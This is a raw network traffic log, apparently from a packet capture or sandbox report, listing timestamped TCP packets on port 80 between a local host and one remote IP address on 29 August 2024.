Aug 29, 2024 12:14:38.508707047 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.508769035 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.508781910 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.508791924 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.508805037 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.508815050 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.508816957 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.508830070 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.508841038 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.508851051 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.508852005 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.508858919 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.508889914 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.509032965 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.509044886 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.509057045 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.509064913 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.509099007 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.509102106 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.509114027 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.509124994 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.509139061 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.509147882 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.509161949 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.509187937 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.509267092 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.509279966 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.509291887 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.509304047 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.509315968 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.509315968 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.509329081 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.509345055 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.509349108 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.509363890 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.509383917 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.509566069 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.509578943 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.509588957 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.509602070 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.509612083 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.509613991 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.509627104 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.509633064 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.509639025 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.509650946 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.509660959 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.509661913 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.509675026 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.509680033 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.509711981 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.509965897 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.509978056 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.509989977 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.510004044 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.510010958 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.510025024 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.510035992 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.510050058 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.510056019 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.510062933 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.510066986 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.510087967 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.510097027 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.510121107 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.510147095 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.510178089 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.510190010 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.510200024 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.510212898 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.510225058 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.510231972 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.510252953 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.510278940 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.519181967 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.519193888 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.519205093 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.519238949 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.519258022 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.519269943 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.519274950 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.519282103 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.519293070 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.519310951 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.519329071 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.519332886 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.519344091 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.519368887 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.519381046 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.519515038 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.519563913 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.519576073 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.519587994 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.519604921 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.519617081 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.519629002 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.519629955 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.519639015 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.519644976 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.519656897 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.519660950 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.519675970 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.519676924 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.519689083 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.519704103 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.519710064 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.519723892 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.519731045 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.519762993 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.520426989 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.520476103 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.520477057 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.520495892 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.520543098 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.520600080 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.520612001 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.520628929 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.520637035 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.520642042 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.520653963 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.520658970 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.520665884 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.520678043 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.520694017 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.520704031 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.520723104 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.520745039 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.520752907 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.520767927 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.520780087 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.520813942 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.520945072 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.520956039 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.520967960 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.520979881 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.520991087 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.520992041 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.521006107 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.521009922 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.521018982 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.521037102 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.521039963 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.521049976 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.521059036 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.521066904 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.521097898 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.521104097 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.521117926 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.521158934 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.521194935 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.521214008 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.521226883 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.521238089 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.521251917 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.521266937 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.521275043 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.521281004 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.521287918 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.521332026 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.521363020 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.521375895 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.521387100 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.521409035 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.521425962 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.521497965 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.521511078 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.521522999 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.521534920 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.521537066 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.521548986 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.521557093 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.521563053 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.521569014 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.521604061 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.521621943 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.521697998 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.521708965 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.521742105 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.521754026 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.521765947 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.521778107 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.521786928 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.521790981 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.521811962 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.521838903 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.521931887 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.521945000 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.521962881 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.521974087 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.521987915 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.522006035 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.522032022 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.522043943 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.522083044 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.522094011 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.522104979 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.522115946 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.522133112 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.522150993 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.522166967 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.522178888 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.522197962 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.522227049 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.522253036 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.522265911 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.522277117 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.522310019 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.522335052 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.522383928 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.522396088 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.522420883 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.522432089 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.522437096 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.522456884 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.522468090 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.522485018 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.522507906 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.522516966 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.522530079 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.522556067 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.522578001 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.522598028 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.522610903 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.522620916 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.522633076 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.522641897 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.522670984 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.522737980 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.522782087 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.522798061 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.522810936 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.522844076 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.522866964 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.522880077 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.522891998 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.522910118 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.522927999 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.523024082 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.523045063 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.523056030 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.523077965 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.523108959 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.523137093 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.523149014 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.523165941 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.523179054 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.523181915 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.523190022 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.523215055 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.523272038 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.523284912 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.523302078 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.523312092 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.523319960 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.523344040 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.523354053 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.523365021 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.523395061 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.523399115 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.523410082 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.523473978 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.523499012 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.523511887 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.523521900 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.523541927 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.523545980 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.523566008 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.523593903 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.523664951 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.523678064 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.523689032 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.523701906 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.523714066 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.523714066 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.523726940 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.523756981 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.523768902 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.523870945 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.523909092 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.610208988 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.610228062 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.610246897 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.610260963 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.610275030 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.610286951 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.610307932 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.610306978 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.610320091 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.610338926 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.610338926 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.610352039 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.610358000 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.610366106 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.610367060 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.610398054 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.610455990 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.610467911 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.610479116 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.610490084 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.610500097 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.610502958 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.610517979 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.610548019 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.611087084 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.611126900 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.611133099 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.611140013 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.611183882 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.611185074 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.611196995 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.611212969 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.611223936 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.611237049 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.611251116 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.611272097 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.611278057 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.611289024 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.611325026 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.611383915 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.611394882 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.611406088 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.611427069 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.611454964 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.611464977 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.611475945 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.611488104 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.611509085 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.611526966 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.611536980 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.611572981 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.611601114 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.611612082 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.611622095 CEST	80	62660	188.114.96.3	192.168.2.3
